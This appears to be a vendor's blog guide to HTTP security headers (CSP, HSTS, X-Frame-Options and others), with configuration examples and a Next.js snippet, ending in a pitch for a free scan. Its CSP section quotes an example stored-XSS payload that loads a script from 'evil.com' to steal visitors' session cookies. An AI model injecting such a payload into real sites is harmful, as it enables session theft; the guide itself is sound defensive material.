Security Headers: The First Line of Defense Your App Is Missing
Most web applications ship without critical security headers. Here is what each header does, why it matters, and how to implement them correctly.
Security headers are HTTP response headers that instruct the browser how to behave when handling your site's content. They are your first line of defense against cross-site scripting, clickjacking, MIME sniffing, and a range of injection attacks. They cost nothing to implement, require no code changes to your application logic, and can be deployed in minutes.
Yet the majority of web applications ship without them. In Recon0x quick scans run across thousands of domains, over 70% are missing at least three critical security headers. That is not a minor oversight. It is an open invitation.
This guide covers the six headers that matter most, explains what each one prevents, shows you exactly how to configure them, and highlights the real-world attacks that exploit their absence.
1. Content-Security-Policy (CSP)
Content-Security-Policy is the single most powerful security header available. It tells the browser exactly which sources are allowed to load scripts, styles, images, fonts, and other resources. If a source is not explicitly whitelisted, the browser blocks it. This makes XSS attacks significantly harder to execute, because even if an attacker injects a script tag into your page, the browser refuses to run it unless the source matches your policy.
Without CSP, an attacker who finds a reflected or stored XSS vulnerability can load external scripts from any domain, exfiltrate cookies, redirect users, or modify the DOM at will.
Real attack scenario
An attacker discovers a stored XSS flaw in a comment field. Without CSP, they inject <script src="https://evil.com/steal.js"> and every visitor's session cookie is sent to the attacker's server. With a strict CSP, the browser blocks the external script entirely.
A good starting point for CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yourdomain.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';Common mistakes to avoid: using unsafe-inline for scripts (defeats the purpose of CSP), setting default-src * (allows everything), and forgetting frame-ancestors (leaves you open to clickjacking).
2. Strict-Transport-Security (HSTS)
HSTS tells the browser to only communicate with your server over HTTPS, even if the user types http:// in the address bar. Without it, the first request to your site may go over plain HTTP, giving an attacker on the same network a window to intercept traffic, steal cookies, or inject malicious content before the redirect to HTTPS happens.
This attack is called an SSL stripping attack. It is trivial to execute on public Wi-Fi networks, coffee shops, airports, and hotels. Tools like sslstrip automate the entire process.
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadThe max-age value is in seconds. 63072000 equals two years. The includeSubDomains directive applies the policy to all subdomains. The preload directive lets you submit your domain to browser preload lists, so even the very first visit is forced to HTTPS.
Common mistake
Setting a low max-age (like 3600 for one hour) during testing and forgetting to increase it. Browsers only enforce HSTS for the duration specified. A short max-age leaves most visits unprotected.
3. X-Frame-Options
X-Frame-Options prevents your pages from being embedded in iframes on other sites. Without it, an attacker can create a malicious page that loads your application in an invisible iframe and tricks users into clicking buttons they cannot see. This is called clickjacking.
Imagine a banking application without X-Frame-Options. An attacker creates a page that says "Click here to win a prize" and overlays an invisible iframe of the bank's transfer confirmation page. The user clicks what they think is a harmless button, but they are actually authorizing a money transfer.
X-Frame-Options: DENYUse DENY if your pages should never be framed. Use SAMEORIGIN if you need to embed your own pages (for example, an admin dashboard that uses iframes). Note that frame-ancestors in CSP is the modern replacement, but X-Frame-Options remains important for older browsers that do not support CSP.
4. X-Content-Type-Options
This header has exactly one valid value: nosniff. It prevents the browser from MIME-type sniffing, which is the practice of ignoring the declared Content-Type header and guessing the type based on the content.
Why does this matter? An attacker who can upload a file with a .txt extension but containing JavaScript code could trick the browser into executing it if MIME sniffing is enabled. The server says "this is text/plain," but the browser says "this looks like JavaScript to me" and runs it.
X-Content-Type-Options: nosniffThis is a single line with zero configuration. There is no reason not to include it.
5. Referrer-Policy
When a user clicks a link from your site to an external site, the browser sends a Referer header containing the full URL they came from. This can leak sensitive information: query parameters with tokens, internal URL structures, user IDs in paths, and more.
Referrer-Policy: strict-origin-when-cross-originThis policy sends only the origin (not the full path) when navigating to a different site, and sends the full URL for same-origin requests. For more sensitive applications, use no-referrer to stop sending the header entirely. Avoid unsafe-url, which sends the full URL to every destination, including HTTP sites.
6. Permissions-Policy
Permissions-Policy (formerly Feature-Policy) controls which browser features your site can use: camera, microphone, geolocation, payment, USB, and dozens more. If your application does not need access to the camera, explicitly disabling it prevents any injected script from activating it.
Permissions-Policy:
camera=(),
microphone=(),
geolocation=(),
payment=(),
usb=(),
interest-cohort=()The empty parentheses () mean "disabled for all origins." If you need a feature, you can whitelist specific origins: camera=(self "https://meet.example.com"). The interest-cohort=() directive opts out of Google's FLoC tracking.
Before and after: a real comparison
Here is what typical response headers look like on an unprotected application versus a properly hardened one.
Vulnerable configuration (no security headers):
HTTP/1.1 200 OK
Content-Type: text/html
Server: nginx/1.18.0
X-Powered-By: ExpressThis response leaks server technology (nginx version, Express framework), includes zero security headers, and leaves the application open to XSS, clickjacking, MIME sniffing, SSL stripping, and referrer leakage.
Hardened configuration:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Security-Policy: default-src 'self'; script-src 'self'
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()Notice what is also different: the Server and X-Powered-By headers are removed. Leaking server technology makes it easier for attackers to look up known vulnerabilities for your exact versions.
Implementation in Next.js
If you are using Next.js, you can set all of these headers in your next.config.ts file:
// next.config.ts
const securityHeaders = [
{ key: "Content-Security-Policy", value: "default-src 'self'; script-src 'self'" },
{ key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains; preload" },
{ key: "X-Frame-Options", value: "DENY" },
{ key: "X-Content-Type-Options", value: "nosniff" },
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
{ key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" },
];
const config = {
async headers() {
return [
{
source: "/(.*)",
headers: securityHeaders,
},
];
},
};
export default config;How Recon0x checks your headers
When you run a Recon0x quick scan, one of the 18 checks is a complete security headers audit. The scanner sends a request to your application, inspects every response header, and flags:
Missing critical headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options). Weak configurations (short HSTS max-age, overly permissive CSP directives). Information leakage (Server version, X-Powered-By, X-AspNet-Version). Deprecated or ineffective headers (X-XSS-Protection with incorrect values).
Each finding includes the severity, a clear explanation of the risk, and the exact header value you should set. The scan takes under 60 seconds and requires no account.
Check your headers in 60 seconds
Run a free security scan on your website. No account required.
Get your free scanSources
- OWASP Secure Headers Project
- MDN Web Docs: HTTP Headers
- OWASP Content Security Policy Cheat Sheet
- MDN Web Docs: Content-Security-Policy
- MDN Web Docs: Strict-Transport-Security
- MDN Web Docs: Permissions-Policy
- OWASP Clickjacking Defense Cheat Sheet
- HSTS Preload List Submission (hstspreload.org)